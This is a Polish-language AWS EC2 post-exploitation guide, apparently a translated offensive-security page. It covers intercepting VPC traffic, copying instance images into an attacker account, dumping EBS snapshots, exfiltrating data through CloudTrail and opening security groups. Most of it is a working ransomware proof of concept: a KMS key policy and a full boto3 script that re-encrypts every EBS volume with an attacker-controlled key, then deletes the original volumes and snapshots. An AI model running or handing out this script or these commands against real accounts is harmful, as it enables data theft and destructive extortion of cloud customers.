VPC traffic mirroring duplikuje ruch przychodzący i wychodzący dla instancji EC2 w ramach VPC bez konieczności instalowania czegokolwiek na samych instancjach. Ten zduplikowany ruch jest zwykle wysyłany do czegoś w rodzaju systemu wykrywania włamań sieciowych (IDS) do analizy i monitorowania.
Atakujący może to wykorzystać do przechwytywania całego ruchu i uzyskiwania z niego poufnych informacji:
Instancje zazwyczaj zawierają pewne rodzaje poufnych informacji. Istnieją różne sposoby, aby się do nich dostać (sprawdź EC2 privilege escalation tricks). Jednak innym sposobem na sprawdzenie, co zawierają, jest utworzenie AMI i uruchomienie nowej instancji (nawet na własnym koncie) z niej:
# List instancesawsec2describe-images# create a new image for the instance-idawsec2create-image--instance-idi-0438b003d81cd7ec5--name"AWS Audit"--description"Export AMI"--regioneu-west-1# add key to AWSawsec2import-key-pair--key-name"AWS Audit"--public-key-materialfile://~/.ssh/id_rsa.pub--regioneu-west-1# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
# now you can check the instanceawsec2describe-instances--instance-idsi-0546910a0c18725a1# If needed : edit groupsawsec2modify-instance-attribute--instance-id"i-0546910a0c18725a1"--groups"sg-6d0d7f01"--regioneu-west-1# be a good guy, clean our instance to avoid any useless costawsec2stop-instances--instance-id"i-0546910a0c18725a1"--regioneu-west-1awsec2terminate-instances--instance-id"i-0546910a0c18725a1"--regioneu-west-1
Zrzut migawki EBS
Migawki są kopiami zapasowymi woluminów, które zazwyczaj zawierają wrażliwe informacje, dlatego ich sprawdzenie powinno ujawnić te informacje.
Jeśli znajdziesz wolumin bez migawki, możesz: Utworzyć migawkę i wykonać następujące czynności lub po prostu zamontować go w instancji w ramach konta:
Atakujący może wywoływać punkty końcowe API konta kontrolowanego przez siebie. Cloudtrail zarejestruje te wywołania, a atakujący będzie mógł zobaczyć eksfiltrowane dane w logach Cloudtrail.
Otwarta grupa zabezpieczeń
Możesz uzyskać dalszy dostęp do usług sieciowych, otwierając porty w ten sposób:
awsec2authorize-security-group-ingress--group-id<sg-id>--protocoltcp--port80--cidr0.0.0.0/0# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
Privesc to ECS
Możliwe jest uruchomienie instancji EC2 i zarejestrowanie jej do użycia w celu uruchomienia instancji ECS, a następnie kradzież danych instancji ECS.
Dowód koncepcji podobny do demonstracji Ransomware przedstawionej w notatkach poeksploatacyjnych S3. KMS powinien zostać przemianowany na RMS (Ransomware Management Service) ze względu na łatwość użycia do szyfrowania różnych usług AWS.
Najpierw z konta AWS 'atakującego' utwórz klucz zarządzany przez klienta w KMS. W tym przykładzie pozwolimy AWS zarządzać danymi klucza, ale w realistycznym scenariuszu złośliwy aktor zachowałby dane klucza poza kontrolą AWS. Zmień politykę klucza, aby umożliwić dowolnemu Principal konta AWS użycie klucza. Dla tej polityki klucza, nazwa konta to 'AttackSim', a reguła polityki umożliwiająca pełny dostęp nazywa się 'Outside Encryption'.
Kluczowa zasada polityki musi mieć włączone następujące uprawnienia, aby umożliwić użycie jej do szyfrowania woluminu EBS:
kms:CreateGrant
kms:Decrypt
kms:DescribeKey
kms:GenerateDataKeyWithoutPlainText
kms:ReEncrypt
Teraz z publicznie dostępnym kluczem do użycia. Możemy użyć konta 'ofiary', które ma uruchomione instancje EC2 z dołączonymi nieszyfrowanymi woluminami EBS. Woluminy EBS tego konta 'ofiary' są naszym celem do szyfrowania, ten atak zakłada naruszenie bezpieczeństwa konta AWS o wysokich uprawnieniach.
W rezultacie w koncie pozostają tylko zaszyfrowane woluminy EBS.
Warto również zauważyć, że skrypt zatrzymał instancje EC2, aby odłączyć i usunąć oryginalne woluminy EBS. Oryginalne nieszyfrowane woluminy są teraz usunięte.
Następnie wróć do polityki klucza na koncie 'atakującego' i usuń zasadę polityki 'Outside Encryption' z polityki klucza.
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:root"},"Action":"kms:*","Resource":"*"},{"Sid":"Allow access for Key Administrators","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:Create*","kms:Describe*","kms:Enable*","kms:List*","kms:Put*","kms:Update*","kms:Revoke*","kms:Disable*","kms:Get*","kms:Delete*","kms:TagResource","kms:UntagResource","kms:ScheduleKeyDeletion","kms:CancelKeyDeletion"],"Resource":"*"},{"Sid":"Allow use of the key","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:Encrypt","kms:Decrypt","kms:ReEncrypt*","kms:GenerateDataKey*","kms:DescribeKey"],"Resource":"*"},{"Sid":"Allow attachment of persistent resources","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:CreateGrant","kms:ListGrants","kms:RevokeGrant"],"Resource":"*","Condition": {"Bool": {"kms:GrantIsForAWSResource":"true"}}}]}
Poczekaj chwilę, aż nowa polityka klucza się rozpropaguje. Następnie wróć do konta 'ofiary' i spróbuj dołączyć jeden z nowo zaszyfrowanych woluminów EBS. Zobaczysz, że możesz dołączyć wolumin.
Ale kiedy spróbujesz faktycznie uruchomić instancję EC2 z zaszyfrowanym woluminem EBS, po prostu się nie uda i przejdzie ze stanu 'pending' z powrotem do stanu 'stopped' na zawsze, ponieważ dołączony wolumin EBS nie może być odszyfrowany za pomocą klucza, ponieważ polityka klucza już na to nie pozwala.
To jest używany skrypt python. Przyjmuje dane uwierzytelniające AWS dla konta 'ofiary' i publicznie dostępny AWS ARN dla klucza, który ma być użyty do szyfrowania. Skrypt wykona zaszyfrowane kopie WSZYSTKICH dostępnych woluminów EBS dołączonych do WSZYSTKICH instancji EC2 w docelowym koncie AWS, następnie zatrzyma każdą instancję EC2, odłączy oryginalne woluminy EBS, usunie je, a na końcu usunie wszystkie migawki wykorzystane podczas procesu. Pozostaną tylko zaszyfrowane woluminy EBS na docelowym koncie 'ofiary'. UŻYWAJ TEGO SKRYPTU TYLKO W ŚRODOWISKU TESTOWYM, JEST DESTRUKCYJNY I USUNIE WSZYSTKIE ORYGINALNE WOLUMINY EBS. Możesz je odzyskać za pomocą użytego klucza KMS i przywrócić do ich pierwotnego stanu za pomocą migawek, ale chcę cię tylko uświadomić, że jest to PoC ransomware na końcu dnia.
import boto3
import argparse
from botocore.exceptions import ClientError
def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes
def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids
def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']
volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids
def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")
def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")
def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")
def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)
def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed
def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()
def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)
if __name__ == "__main__":
main()
Podobnie jak w przykładzie ransomware S3. Ten atak utworzy kopie dołączonych woluminów EBS za pomocą snapshotów, użyje publicznie dostępnego klucza z konta 'atakującego' do zaszyfrowania nowych woluminów EBS, następnie odłączy oryginalne woluminy EBS od instancji EC2 i je usunie, a na końcu usunie snapshoty użyte do utworzenia nowo zaszyfrowanych woluminów EBS.